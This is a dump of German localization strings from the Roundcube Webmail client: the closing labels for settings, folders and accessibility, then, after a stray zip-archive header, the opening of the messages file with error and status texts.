$labels['editpreferences'] = 'Benutzereinstellungen bearbeiten';
$labels['identities'] = 'Identitäten';
$labels['manageidentities'] = 'Identitäten verwalten';
$labels['newidentity'] = 'Neue Identität erstellen';
$labels['addidentity'] = 'Identität hinzufügen';
$labels['editidentity'] = 'Identität bearbeiten';
$labels['identityencryption'] = 'Verschlüsselung';
$labels['preferhtml'] = 'HTML anzeigen';
$labels['defaultcharset'] = 'Standardzeichensatz';
$labels['htmlmessage'] = 'HTML-Nachricht';
$labels['messagepart'] = 'Teilstück';
$labels['digitalsig'] = 'Digitale Signatur';
$labels['dateformat'] = 'Datumsformatierung';
$labels['timeformat'] = 'Zeitformatierung';
$labels['prettydate'] = 'Kurze Datumsanzeige';
$labels['setdefault'] = 'Als Standard';
$labels['autodetect'] = 'Automatisch';
$labels['language'] = 'Sprache';
$labels['timezone'] = 'Zeitzone';
$labels['pagesize'] = 'Einträge pro Seite';
$labels['signature'] = 'Signatur';
$labels['dstactive'] = 'Sommerzeit';
$labels['showinextwin'] = 'Nachrichten in neuem Fenster öffnen';
$labels['composeextwin'] = 'Nachrichten in neuem Fenster verfassen';
$labels['htmleditor'] = 'HTML-Nachrichten verfassen';
$labels['htmlonreply'] = 'nur Antworten auf HTML-Nachrichten';
$labels['htmlonreplyandforward'] = 'beim Weiterleiten und  Beantworten auf HTML-Nachrichten';
$labels['htmlsignature'] = 'HTML-Signatur';
$labels['showemail'] = 'E-Mail-Adresse mit dem Anzeigenamen anzeigen';
$labels['previewpane'] = 'Nachrichtenvorschau anzeigen';
$labels['skin'] = 'Oberflächendesign';
$labels['logoutclear'] = 'Papierkorb beim Abmelden leeren';
$labels['logoutcompact'] = 'Posteingang beim Abmelden packen';
$labels['uisettings'] = 'Benutzeroberfläche';
$labels['serversettings'] = 'Servereinstellungen';
$labels['mailboxview'] = 'Postfachansicht';
$labels['mdnrequests'] = 'Empfangsbestätigung senden';
$labels['askuser'] = 'immer fragen';
$labels['autosend'] = 'Bestätigung senden';
$labels['autosendknown'] = 'Bestätigung an meine Kontakte senden, sonst nachfragen';
$labels['autosendknownignore'] = 'Bestätigung an meine Kontakte senden, sonst ignorieren';
$labels['autosendtrusted'] = 'Bestätigung an vertrauenswürdige Absender senden, sonst nachfragen';
$labels['autosendtrustedignore'] = 'Bestätigung an vertrauenswürdige Absender senden, sonst ignorieren';
$labels['ignorerequest'] = 'Anforderung ignorieren';
$labels['readwhendeleted'] = 'Nachricht beim Löschen als gelesen markieren';
$labels['flagfordeletion'] = 'Nachricht zum Löschen markieren, anstatt sie zu löschen';
$labels['skipdeleted'] = 'Keine gelöschten Nachrichten anzeigen';
$labels['deletealways'] = 'Wenn verschieben in den Papierkorb fehlschlägt, Nachricht löschen';
$labels['deletejunk'] = 'Nachrichten in Spam direkt löschen';
$labels['showremoteimages'] = 'Eingebettete Bilder vom Internet laden';
$labels['allowremoteresources'] = 'Externe Ressourcen erlauben (Bilder, Stile)';
$labels['fromknownsenders'] = 'bei bekannten Absendern';
$labels['fromtrustedsenders'] = 'von vertrauenswürdigen Absendern';
$labels['frommycontacts'] = 'aus meinen Kontakten';
$labels['always'] = 'immer';
$labels['alwaysbutplain'] = 'immer, außer beim Antworten auf Klartext';
$labels['showinlineimages'] = 'Angehängte Bilder unter der Nachricht anzeigen';
$labels['autosavedraft'] = 'Entwurf automatisch speichern';
$labels['everynminutes'] = '$n Minute(n)';
$labels['refreshinterval'] = 'Aktualisieren (auf neue Nachrichten prüfen, etc.)';
$labels['never'] = 'nie';
$labels['immediately'] = 'sofort';
$labels['messagesdisplaying'] = 'Nachrichtendarstellung';
$labels['messagescomposition'] = 'Nachrichtenerstellung';
$labels['mimeparamfolding'] = 'Namen der Anhänge';
$labels['2231folding'] = 'vollständig RFC 2231 kompatibel (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 kompatibel (Microsoft Outlook)';
$labels['2047folding'] = 'vollständig RFC 2047 kompatibel (andere)';
$labels['force7bit'] = 'MIME-Kodierung für 8-bit Zeichen';
$labels['savelocalstorage'] = "Vorübergehend lokal im Browser speichern";
$labels['advancedoptions'] = 'Erweiterte Einstellungen';
$labels['toggleadvancedoptions'] = 'Erweiterte Optionen auswählen';
$labels['focusonnewmessage'] = 'Fokussiere Browserfenster bei neuen Nachrichten';
$labels['checkallfolders'] = 'Alle Ordner auf neue Nachrichten prüfen';
$labels['displaynext'] = 'Nach verschieben/löschen den nächsten Listeneintrag anzeigen';
$labels['defaultfont'] = 'Standardschrift von HTML-Nachrichten';
$labels['mainoptions'] = 'Allgemein';
$labels['browseroptions'] = 'Browsereinstellungen';
$labels['section'] = 'Bereich';
$labels['maintenance'] = 'Wartung';
$labels['newmessage'] = 'Neue Nachricht';
$labels['signatureoptions'] = 'Signatur';
$labels['whenreplying'] = 'Beantworten einer Nachricht';
$labels['replyempty'] = 'die Originalnachricht nicht zitieren';
$labels['replytopposting'] = 'Antwort über der Originalnachricht';
$labels['replytoppostingnoindent'] = 'Antwort über der Originalnachricht (keine Einrückung)';
$labels['replybottomposting'] = 'Antwort unter der Originalnachricht';
$labels['replyremovesignature'] = 'Beim Antworten die Signatur der Originalnachricht entfernen';
$labels['autoaddsignature'] = 'Signatur automatisch einfügen';
$labels['newmessageonly'] = 'nur bei neuen Nachrichten';
$labels['replyandforwardonly'] = 'nur bei Antworten und Weiterleitungen';
$labels['insertsignature'] = 'Signatur einfügen';
$labels['sigbelow'] = 'Unterschrift unter der zitierten Nachricht platzieren';
$labels['sigseparator'] = 'Standardtrennzeichen in Signaturen erzwingen';
$labels['automarkread'] = 'Nachrichten als gelesen markieren';
$labels['afternseconds'] = 'nach $n Sekunden';
$labels['reqmdn'] = 'Empfangsbestätigung (MDN) immer anfordern';
$labels['reqdsn'] = 'Übermittlungsbestätigung (DSN) immer anfordern';
$labels['replysamefolder'] = 'Antworten im selben Ordner wie Original speichern';
$labels['defaultabook'] = 'Standardadressbuch';
$labels['autocompletesingle'] = 'Alternative E-Mail-Adressen bei der Auto-Vervollständigung nicht berücksichtigen';
$labels['listnamedisplay'] = 'Kontakte auflisten als';
$labels['contactformmode'] = 'Kontaktformular-Modus';
$labels['privatemode'] = 'Privat (Zuhause)';
$labels['businessmode'] = 'Geschäftlich (Arbeit)';
$labels['collectedaddresses'] = 'Gesammelte Adressen';
$labels['collectedrecipients'] = 'Gesammelte Empfänger';
$labels['collectedrecipientsopt'] = 'Empfänger ausgehender E-Mails speichern in';
$labels['collectedsendersopt'] = 'Vertrauenswürdige Absender speichern in';
$labels['trustedsenders'] = 'Vertrauenswürdige Absender';
$labels['spellcheckbeforesend'] = 'Rechtschreibprüfung vor dem Absenden der Nachricht';
$labels['spellcheckoptions'] = 'Rechtschreibprüfungsoptionen';
$labels['spellcheckignoresyms'] = 'Wörter mit Symbolen überspringen';
$labels['spellcheckignorenums'] = 'Wörter mit Ziffern überspringen';
$labels['spellcheckignorecaps'] = 'Wörter überspringen, die nur aus Großbuchstaben bestehen';
$labels['addtodict'] = 'Zum Wörterbuch hinzufügen';
$labels['mailtoprotohandler'] = 'Als Programm für mailto:-Verknüpfungen einrichten';
$labels['standardwindows'] = 'Popups als Standardfenster behandeln';
$labels['forwardmode'] = 'Nachrichtenweiterleitung';
$labels['inline'] = 'eingebettet';
$labels['asattachment'] = 'als Anhang';
$labels['replyallmode'] = 'Standardaktion des Knopfes »Allen antworten«';
$labels['replyalldefault'] = 'Allen antworten';
$labels['replyalllist'] = 'Nur der Mailingliste antworten (wenn gefunden)';
$labels['allmessages'] = 'alle Nachrichten';
$labels['folder'] = 'Ordner';
$labels['folders'] = 'Ordner';
$labels['foldername'] = 'Ordnername';
$labels['subscribed'] = 'Abonniert';
$labels['messagecount'] = 'Nachrichten';
$labels['create'] = 'Erstellen';
$labels['createfolder'] = 'Neuen Ordner erstellen';
$labels['managefolders'] = 'Ordner verwalten';
$labels['specialfolders'] = 'Spezialordner';
$labels['properties'] = 'Eigenschaften';
$labels['folderproperties'] = 'Ordnereigenschaften';
$labels['parentfolder'] = 'Eltern';
$labels['location'] = 'Speicherort';
$labels['info'] = 'Informationen';
$labels['getfoldersize'] = 'Ordnergröße anzeigen';
$labels['changesubscription'] = 'Abonnieren';
$labels['foldertype'] = 'Ordnertyp';
$labels['personalfolder'] = 'Privater Ordner';
$labels['otherfolder'] = 'Ordner eines anderen Benutzers';
$labels['sharedfolder'] = 'Öffentlicher Ordner';
$labels['findfolders'] = 'Suche Ordner';
$labels['findcontacts'] = 'Kontakte finden';
$labels['findmail'] = 'Mail-Nachrichten finden';
$labels['namespace.personal'] = 'Persönlich';
$labels['namespace.other'] = 'Andere Benutzer';
$labels['namespace.shared'] = 'Geteilt';
$labels['dualuselabel'] = 'Kann nur enthalten';
$labels['dualusemail'] = 'Nachrichten';
$labels['dualusefolder'] = 'Ordner';
$labels['generate'] = 'Generieren';
$labels['encryptioncreatekey'] = 'Neues Schlüsselpaar erstellen';
$labels['openmailvelopesettings'] = 'Mailvelope-Einstellungen öffnen';
$labels['encryptionprivkeysinmailvelope'] = 'Sie haben $nr passende private Schlüssel in Ihrem Mailvelope-Schlüsselverzeichnis:';
$labels['encryptionnoprivkeysinmailvelope'] = 'Für diese Absender-Identität ist bis jetzt kein privater PGP-Schlüssel in Ihrer Mailvelope gespeichert. Wollen Sie einen Schlüssel erstellen, damit eine verschlüsselte Kommunikation möglich ist?';
$labels['encryption'] = 'Verschlüsselung';
$labels['mailvelopeoptions'] = 'Mailvelope-Optionen';
$labels['mailvelopemainkeyring'] = 'Mailvelope-Hauptschlüsselbund verwenden';
$labels['mailvelopenotfound'] = 'Mailvelope-Erweiterung ist in Ihrem Browser nicht aktiviert/installiert.';
$labels['sortby'] = 'Sortieren nach';
$labels['sortasc'] = 'Aufsteigend sortieren';
$labels['sortdesc'] = 'Absteigend sortieren';
$labels['undo'] = 'Rückgängig machen';
$labels['installedplugins'] = 'Installierte Plugins';
$labels['plugin'] = 'Erweiterung';
$labels['version'] = 'Version';
$labels['source'] = 'Quellcode';
$labels['license'] = 'Lizenz';
$labels['support'] = 'Support';
$labels['savedsearches'] = 'Gespeicherte Suchvorgänge';
$labels['dateformatY'] = 'JJJJ';
$labels['dateformaty'] = 'JJ';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'TT';
$labels['dateformatj'] = 'T';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Englisch';
$labels['westerneuropean'] = 'West Europäisch';
$labels['easterneuropean'] = 'Ost Europäisch';
$labels['southeasterneuropean'] = 'Süd-Ost Europäisch';
$labels['baltic'] = 'Baltisch';
$labels['cyrillic'] = 'Kyrillisch';
$labels['arabic'] = 'Arabisch';
$labels['greek'] = 'Griechisch';
$labels['hebrew'] = 'Hebräisch';
$labels['turkish'] = 'Türkisch';
$labels['nordic'] = 'Nordisch';
$labels['thai'] = 'Thailändisch';
$labels['celtic'] = 'Keltisch';
$labels['vietnamese'] = 'Vietnamesisch';
$labels['japanese'] = 'Japanisch';
$labels['korean'] = 'Koreanisch';
$labels['chinese'] = 'Chinesisch';
$labels['arialabeltopnav'] = 'Fenstersteuerung';
$labels['arialabeltasknav'] = 'Anwendungsaufgaben';
$labels['arialabeltoolbar'] = 'Anwendungstoolbar';
$labels['arialabellistnav'] = 'Listennavigation';
$labels['arialabelactivetask'] = 'Aktive Aufgabe';
$labels['arialabelmessagessearchfilter'] = 'Filter für die E-Mail-Liste';
$labels['arialabelmailsearchform'] = 'Suchmaske für E-Mails';
$labels['arialabelcontactsearchform'] = 'Suchmaske für Kontakte';
$labels['arialabelmailquicksearchbox'] = 'Eingabe für E-Mail-Suche';
$labels['arialabelquicksearchbox'] = 'Eingabe für Suche';
$labels['arialabelfoldersearchfilter'] = 'Ordnerauflistungsfilter';
$labels['arialabelfoldersearchform'] = 'Ordnersuchfeld';
$labels['arialabelfolderlist'] = 'E-Mail-Ordnerauswahl';
$labels['arialabelmessagelist'] = 'Liste der E-Mail-Nachrichten';
$labels['arialabelmailpreviewframe'] = 'Vorschau der Nachricht';
$labels['arialabelmailboxmenu'] = 'Aktionsmenü für Ordner';
$labels['arialabellistselectmenu'] = 'Aktionsmenü für Listen';
$labels['arialabelthreadselectmenu'] = 'Listenmenü für Threads';
$labels['arialabelmessagelistoptions'] = 'Nachrichtenauflistung und Sortierungsoptionen';
$labels['arialabelmailimportdialog'] = 'Nachrichten-Import-Dialog';
$labels['arialabelmessagenav'] = 'Nachrichtennavigation';
$labels['arialabelmessagebody'] = 'Nachrichten-Body';
$labels['arialabelmessageactions'] = 'Nachrichtenaktionen';
$labels['arialabelcontactquicksearch'] = 'Kontaktsuchformular';
$labels['arialabelcontactsearchbox'] = 'Kontakte Sucheingabe';
$labels['arialabelmessageheaders'] = 'Nachrichtenkopfzeilen';
$labels['arialabelforwardingoptions'] = 'Weiterleitungsoptionen';
$labels['arialabelreplyalloptions'] = 'Allen antworten-Optionen';
$labels['arialabelmoremessageactions'] = 'Weitere Nachrichtenaktionen';
$labels['arialabelmorecontactactions'] = 'Weitere Kontakt-Aktionen';
$labels['arialabelmarkmessagesas'] = 'Ausgewählte Nachricht markieren als …';
$labels['arialabelcomposeoptions'] = 'Erstellungsoptionen';
$labels['arialabelresponsesmenu'] = 'Schnellantworten Menü';
$labels['arialabelattachmentuploadform'] = 'Anhanghochladeformular';
$labels['arialabelattachmentmenu'] = 'Anhangsoptionen';
$labels['arialabelmailtomenu'] = 'Optionen für E-Mail-Adressen';
$labels['arialabelattachmentpreview'] = 'Anhangvorschau';
$labels['ariasummarycomposecontacts'] = 'Liste von Kontakten und Gruppen als Empfänger';
$labels['arialabelcontactexportoptions'] = 'Kontakt-Export-Optionen';
$labels['arialabelabookgroupoptions'] = 'Adressbuch/Gruppen-Optionen';
$labels['arialabelpreferencesform'] = 'Einstellungsformular';
$labels['arialabelidentityeditfrom'] = 'Identität-Bearbeitungsformular';
$labels['arialabelresponseeditfrom'] = 'Antwortbearbeitungsformular';
$labels['arialabelsearchterms'] = 'Suchbegriffe';
$labels['arialabeldropactionmenu'] = 'Aktionsmenü für das Ziehen und Loslassen';
$labels['arialabelheadersmenu'] = 'Menü zum Hinzufügen der Empfänger (Kopfzeile) ';
$labels['arialabelimagetools'] = 'Bild-Tools';
$labels['helplistnavigation'] = 'Tastaturnavigation auflisten';
$labels['helplistkeyboardnavigation'] = "Pfeil hoch/runter: Zeilenfokus/Zeilenselektion verschieben
Leerzeichen: Selektiere ausgewählte Zeile
Shift + Pfeil hoch/runter: Wähle weitere Zeilen oberhalb/unterhalb
Strg + Leerzeichen: Gewählte Zeile zur/von der Auswahl hinzufügen/entfernen";
$labels['helplistkeyboardnavmessages'] = "Pfeil rechts/links: Nachricht im Thread erweitern/einklappen (nur im Threadmodus)
Enter: Öffne die ausgewählte/fokussierte Nachricht
Rücktaste: Verschiebe gewählte Nachricht in den Mülleimer";
$labels['helplistkeyboardnavcontacts'] = "Enter: Ausgewählten Kontakt öffnen.";
PK
h�\H�q3LL'program/localization/de_DE/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Ein Fehler ist aufgetreten!';
$messages['loginfailed']  = 'Die Anmeldung ist fehlgeschlagen.';
$messages['cookiesdisabled'] = 'Ihr Browser akzeptiert keine Cookies.';
$messages['sessionerror'] = 'Ihre Sitzung ist ungültig oder abgelaufen.';
$messages['cookiesmismatch'] = 'Cookiefehler erkannt. Bitte die Browser Cookies löschen.';
$messages['storageerror'] = 'Verbindung zum Speicherserver fehlgeschlagen.';
$messages['servererror'] = 'Serverfehler!';
$messages['servererrormsg'] = 'Serverfehler: $msg';
$messages['accountlocked'] = 'Zu viele fehlgeschlagene Anmeldeversuche. Versuchen Sie es später noch einmal.';
$messages['connerror'] = 'Verbindungsfehler (Fehler beim Erreichen des Servers)!';
$messages['dberror'] = 'Datenbankfehler!';
$messages['dbconnerror'] = 'Verbindung zur Datenbank konnte nicht aufgebaut werden!';
$messages['windowopenerror'] = 'Das Popup-Fenster wurde blockiert!';
$messages['requesttimedout'] = 'Zeitüberschreitung der Anforderung';
$messages['errorreadonly'] = 'Die Aktion kann nicht ausgeführt werden. Der Ordner ist schreibgeschützt.';
$messages['errornoperm'] = 'Die Aktion kann nicht ausgeführt werden. Zugriff verweigert.';
$messages['erroroverquota'] = 'Die Aktion kann nicht ausgeführt werden. Nicht genug freier Speicherplatz.';
$messages['erroroverquotadelete'] = 'Nicht genug freier Speicherplatz. Verwenden sie SHIFT+ENTF um Nachrichten zu löschen.';
$messages['invalidrequest'] = 'Ungültige Anfrage! Es wurden keine Daten gespeichert.';
$messages['invalidhost'] = 'Ungültiger Servername.';
$messages['nomessagesfound'] = 'Keine Nachrichten in diesem Postfach.';
$messages['loggedout'] = 'Sie haben Ihre Sitzung erfolgreich beendet. Auf Wiedersehen!';
$messages['mailboxempty'] = 'Postfach ist leer';
$messages['nomessages'] = 'Keine Nachrichten';
$messages['refreshing'] = 'Aktualisierung läuft …';
$messages['loading'] = 'Wird geladen …';
$messages['uploading'] = 'Datei wird hochgeladen …';
$messages['attaching'] = 'Datei wird angehängt …';
$messages['uploadingmany'] = 'Dateien werden hochgeladen …';
$messages['loadingdata'] = 'Daten werden geladen …';
$messages['checkingmail'] = 'Auf neue Nachrichten wird geprüft …';
$messages['sendingmessage'] = 'Nachricht wird gesendet …';
$messages['messagesent'] = 'Nachricht erfolgreich gesendet.';
$messages['savingmessage'] = 'Nachricht wird gespeichert …';
$messages['messagesaved'] = 'Nachricht als Entwurf gespeichert.';
$messages['successfullysaved'] = 'Erfolgreich gespeichert.';
$messages['savingresponse'] = 'Antwortvorlage wird gespeichert …';
$messages['deleteresponseconfirm'] = 'Möchten Sie diese Vorlage wirklich löschen?';
$messages['nocontactselected'] = 'Sie haben noch keinen Kontakt ausgewählt.';
$messages['addedsuccessfully'] = 'Kontakt zum Adressbuch hinzugefügt.';
$messages['contactexists'] = 'Es existiert bereits ein Kontakt mit dieser E-Mail-Adresse.';
$messages['contactnameexists'] = 'Ein Kontakt mit dem gleichen Namen existiert bereits.';
$messages['blockedimages'] = 'Um Ihre Privatsphäre zu schützen, wurden externe Bilder blockiert.';
$messages['blockedresources'] = 'Um Ihre Privatsphäre zu schützen, wurden externe Ressourcen blockiert.';
$messages['suspiciousemail'] = 'Diese Nachricht enthält eine verdächte eMail-Adresse, die gefälscht sein könnte.';
$messages['bccemail'] = 'Die weitergeleite(n) Nachricht(en) enthalten vertrauliche Empfänger (Bcc).';
$messages['bouncehint'] = 'Die Nachricht wird unverändert weitergeleitet, das heißt mit dem Originaltext, Kopfzeilen und Empfänger(n)';
$messages['encryptedmessage'] = 'Dies ist eine verschlüsselte Nachricht und kann leider nicht angezeigt werden.';
$messages['externalmessagedecryption'] = 'Dies ist eine verschlüsselte Nachricht und kann mit Ihrer Browser-Erweiterung entschlüsselt werden.';
$messages['nopubkeyfor'] = 'Kein gültiger öffentlicher Schlüssel für $email gefunden';
$messages['nopubkeyforsender'] = 'Kein gültiger öffentlicher Schlüssel für Ihre Absenderidentität gefunden. Möchten Sie die Nachricht nur für die Empfänger verschlüsseln?';
$messages['encryptnoattachments'] = 'Bereits hochgeladene Anhänge können nicht verschlüsselt werden. Bitte fügen Sie sie erneut im Verschlüsselungseditor hinzu.';
$messages['searchpubkeyservers'] = 'Möchten Sie öffentliche Schlüsselserver nach den fehlenden Schlüsseln durchsuchen?';
$messages['encryptpubkeysfound'] = 'Die folgenden öffentlichen Schlüssel wurden gefunden:';
$messages['keyservererror'] = 'Fehler beim Holen des Schlüssels vom Schlüsselserver.';
$messages['keyimportsuccess'] = 'Öffentlicher Schlüssel $key erfolgreich in Ihren Schlüsselbund importiert.';
$messages['nocontactsfound'] = 'Keine Kontakte gefunden.';
$messages['contactnotfound'] = 'Der angeforderte Kontakt wurde nicht gefunden.';
$messages['contactsearchonly'] = 'Du musst das Suchformular nutzen, um die Kontakte vom ausgewählten Adressbuch zu sehen.';
$messages['sendingfailed'] = 'Versenden der Nachricht fehlgeschlagen.';
$messages['senttooquickly'] = 'Bitte warten Sie $sec Sekunde(n) vor dem Senden dieser Nachricht.';
$messages['errorsavingsent'] = 'Ein Fehler ist beim Speichern der gesendeten Nachricht aufgetreten.';
$messages['errorsaving'] = 'Beim Speichern ist ein Fehler aufgetreten.';
$messages['errormoving'] = 'Nachricht(en) konnte(n) nicht verschoben werden.';
$messages['errorcopying'] = 'Nachticht(en) konnte(n) nicht kopiert werden.';
$messages['errordeleting'] = 'Nachricht(en) konnte(n) nicht gelöscht werden.';
$messages['errormarking'] = 'Nachricht(en) konnte(n) nicht markiert werden.';
$messages['alerttitle'] = 'Achtung';
$messages['confirmationtitle'] = 'Sind Sie sich sicher...';
$messages['deletecontactconfirm']  = 'Wollen Sie die ausgewählten Kontakte wirklich löschen?';
$messages['deletegroupconfirm']  = 'Wollen Sie die gewählte Gruppe wirklich löschen?';
$messages['deletemessagesconfirm'] = 'Wollen Sie die ausgewählten Nachrichten wirklich löschen?';
$messages['deletefolderconfirm']  = 'Wollen Sie diesen Ordner wirklich löschen?';
$messages['movefolderconfirm']  = 'Wollen Sie diesen Ordner wirklich verschieben?';
$messages['purgefolderconfirm']  = 'Wollen Sie diesen Ordner wirklich leeren?';
$messages['contactdeleting'] = 'Kontakt(e) werden gelöscht …';
$messages['groupdeleting'] = 'Gruppe wird gelöscht …';
$messages['folderdeleting'] = 'Ordner wird gelöscht …';
$messages['foldermoving'] = 'Ordner wird verschoben …';
$messages['foldersubscribing'] = 'Ordner wird abonniert …';
$messages['folderunsubscribing'] = 'Ordner wird abbestellt …';
$messages['formincomplete'] = 'Das Formular wurde nicht vollständig ausgefüllt.';
$messages['noemailwarning'] = 'Bitte geben Sie eine gültige E-Mail-Adresse ein.';
$messages['nonamewarning']  = 'Bitte geben Sie einen Namen ein.';
$messages['nopagesizewarning'] = 'Bitte geben Sie die Einträge pro Seite an.';
$messages['nosenderwarning'] = 'Bitte geben Sie die E-Mail-Adresse des Senders an.';
$messages['recipientsadded'] = 'Empfänger erfolgreich hinzugefügt.';
$messages['norecipientwarning'] = 'Bitte geben Sie mindestens einen Empfänger an.';
$messages['disclosedrecipwarning'] = 'Alle Empfänger sehen die E-Mail Adressen der anderen Empfänger. Um deren Privatsphäre zu schützen, können Sie das BCC-Feld verwenden.';
$messages['disclosedreciptitle'] = 'Zu viele öffentliche Empfänger';
$messages['nosubjectwarning']  = 'Die Betreffzeile ist leer. Möchten Sie jetzt einen Betreff eingeben?';
$messages['nosubjecttitle']  = 'Kein Betreff';
$messages['nobodywarning'] = 'Diese Nachricht ohne Inhalt senden?';
$messages['notsentwarning'] = 'Die Nachricht wurde nicht gesendet und hat nicht gespeicherte Änderungen. Möchten Sie Ihre Änderungen verwerfen?';
$messages['restoresavedcomposedata'] = 'Es wurde ein nicht versandter Entwurf einer Nachricht gefunden.\n\nBetreff: $subject\nGespeichert am: $date\n\nMöchten Sie diese Nachricht wiederherstellen?';
$messages['nosearchname'] = 'Bitte geben Sie einen Namen oder eine E-Mail-Adresse ein.';
$messages['notuploadedwarning'] = 'Es wurden noch nicht alle Dateien hochgeladen. Bitte warten oder Hochladen abbrechen.';
$messages['searchsuccessful'] = '$nr Nachrichten gefunden.';
$messages['contactsearchsuccessful'] = '$nr Kontakte gefunden.';
$messages['searchnomatch'] = 'Die Suche lieferte keine Treffer.';
$messages['searching'] = 'Suche läuft …';
$messages['checking'] = 'Überprüfung läuft …';
$messages['stillsearching'] = 'Suche läuft noch …';
$messages['nospellerrors'] = 'Keine Rechtschreibfehler gefunden.';
$messages['folderdeleted'] = 'Ordner erfolgreich gelöscht.';
$messages['foldersubscribed'] = 'Der Ordner wurde erfolgreich abonniert.';
$messages['folderunsubscribed'] = 'Der Ordner wurde erfolgreich abbestellt.';
$messages['folderpurged'] = 'Ordner wurde erfolgreich geleert.';
$messages['folderexpunged'] = 'Ordner wurde erfolgreich ausgeräumt.';
$messages['deletedsuccessfully'] = 'Erfolgreich gelöscht.';
$messages['converting'] = 'Formatierungen werden entfernt …';
$messages['messageopenerror'] = 'Die Nachricht konnte nicht vom Server geladen werden.';
$messages['filelinkerror'] = 'Anhängen der Datei ist fehlgeschlagen.';
$messages['fileuploaderror'] = 'Hochladen der Datei fehlgeschlagen.';
$messages['csvfilemismatch'] = 'Der Import von mehreren CSV-Dateien mit unterschiedlichen Feldern wird nicht unterstützt.';
$messages['filesizeerror'] = 'Die hochzuladende Datei überschreitet die Maximalgröße von $size.';
$messages['filecounterror'] = 'Sie können maximal $count Dateien mit einmal hochladen.';
$messages['msgsizeerror'] = 'Hinzufügen einer Datei fehlgeschlagen. Die maximale Größe einer Nachricht ($size) wurde überschritten.';
$messages['msgsizeerrorfwd'] = 'Maximalgröße einer Nachricht ($size) überschritten. $num Nachricht(en) wird/wurden nicht angehängt.';
$messages['copysuccess'] = 'Erfolgreich kopiert $nr Kontakte.';
$messages['movesuccess'] = 'Erfolgreich verschoben $nr Kontakte.';
$messages['copyerror'] = 'Die Kontakte konnten nicht kopiert werden.';
$messages['moveerror'] = 'Die Kontakte konnten nicht verschoben werden.';
$messages['sourceisreadonly'] = 'Das Adressverzeichnis kann nicht verändert werden.';
$messages['errorsavingcontact'] = 'Die Änderungen konnten nicht gespeichert werden.';
$messages['movingmessage'] = 'Nachrichten werden verschoben …';
$messages['copyingmessage'] = 'Nachrichten werden kopiert …';
$messages['copyingcontact'] = 'Kontakte werden kopiert …';
$messages['movingcontact'] = 'Kontakte werden verschoben …';
$messages['deletingmessage'] = 'Nachrichten werden gelöscht …';
$messages['markingmessage'] = 'Nachrichten werden markiert …';
$messages['addingmember'] = 'Kontakte werden der Gruppe hinzugefügt …';
$messages['removingmember'] = 'Kontakte werden von der Gruppe entfernt …';
$messages['receiptsent'] = 'Lesebestätigung erfolgreich gesendet.';
$messages['errorsendingreceipt'] = 'Bestätigung konnte nicht gesendet werden.';
$messages['deleteidentityconfirm'] = 'Möchten Sie wirklich diese Identität löschen?';
$messages['nodeletelastidentity'] = 'Diese Identität kann nicht gelöscht werden, da dies die letzte ist.';
$messages['forbiddencharacter'] = 'Der Ordnername enthält ein ungültiges Zeichen.';
$messages['selectimportfile'] = 'Bitte wählen Sie eine Datei zum Importieren aus.';
$messages['addresswriterror'] = 'Das gewählte Adressbuch kann nicht verändert werden.';
$messages['contactaddedtogroup'] = 'Kontakte wurden dieser Gruppe hinzugefügt.';
$messages['contactremovedfromgroup'] = 'Kontakte wurden aus dieser Gruppe entfernt.';
$messages['nogroupassignmentschanged'] = 'Es wurden keine Gruppenzuordnungen geändert.';
$messages['importwait'] = 'Daten werden importiert, bitte warten …';
$messages['importformaterror'] = 'Import fehlgeschlagen! Die hochgeladene Datei ist keine gültige Importdatei.';
$messages['importconfirm'] = '<b>Es wurden $inserted Adressen erfolgreich importiert.</b>';
$messages['importconfirmskipped'] = '<b>$skipped bestehende Einträge wurden übersprungen.</b>';
$messages['importmessagesuccess'] = 'Nachrichten $nr erfolgreich importiert';
$messages['importmessageerror'] = 'Import fehlgeschlagen! Die hochgeladene Datei ist keine gültige Importdatei.';
$messages['opnotpermitted'] = 'Operation nicht erlaubt!';
$messages['nofromaddress'] = 'Fehlende E-Mail-Adresse in ausgewählter Identität.';
$messages['editorwarning'] = 'Wenn sie den Editor wechseln, könnten Textformatierungen verloren gehen. Möchten sie fortfahren?';
$messages['httpreceivedencrypterror'] = 'Ein fataler Konfigurationsfehler ist aufgetreten. Kontaktieren Sie bitte sofort Ihren Administrator. <b>Ihre Nachricht konnte nicht versendet werden.</b>';
$messages['smtpconnerror'] = 'SMTP Fehler ($code): Die Verbindung ist fehlgeschlagen.';
$messages['smtpautherror'] = 'SMTP Fehler ($code): Die Authentisierung ist fehlgeschlagen.';
$messages['smtpfromerror'] = 'SMTP Fehler ($code): Der Absender "$from" konnte nicht gesetzt werden ($msg).';
$messages['smtptoerror'] = 'SMTP Fehler ($code): Der Empfänger "$to" konnte nicht gesetzt werden ($msg).';
$messages['smtprecipientserror'] = 'SMTP-Fehler: die Empfängerliste konnte nicht verarbeitet werden.';
$messages['smtputf8error'] = 'SMTP-Fehler: Der Server unterstützt Unicode in der E-Mail-Adresse nicht.';
$messages['smtpsizeerror'] = 'SMTP-Fehler: Nachrichtengröße übersteigt die Servergrenze ($limit)';
$messages['smtperror'] = 'SMTP Fehler: $msg';
$messages['emailformaterror'] = 'Ungültige E-Mail-Adresse: $email';
$messages['toomanyrecipients'] = 'Zuviele Empfänger. Reduzieren Sie die Anzahl Empfängeradressen auf $max.';
$messages['maxgroupmembersreached'] = 'Die Anzahl Adressen in dieser Gruppe überschreitet das Maximum von $max.';
$messages['internalerror'] = 'Ein interner Fehler ist aufgetreten. Bitte versuchen Sie es erneut.';
$messages['contactdelerror'] = 'Fehler beim Löschen.';
$messages['contactdeleted'] = 'Kontakt(e) erfolgreich gelöscht.';
$messages['contactrestoreerror'] = 'Konnte die gelöschten Kontakte nicht wiederherstellen.';
$messages['contactrestored'] = 'Kontakte erfolgreich wiederhergestellt.';
$messages['groupdeleted'] = 'Gruppe erfolgreich gelöscht.';
$messages['grouprenamed'] = 'Gruppe erfolgreich umbenannt.';
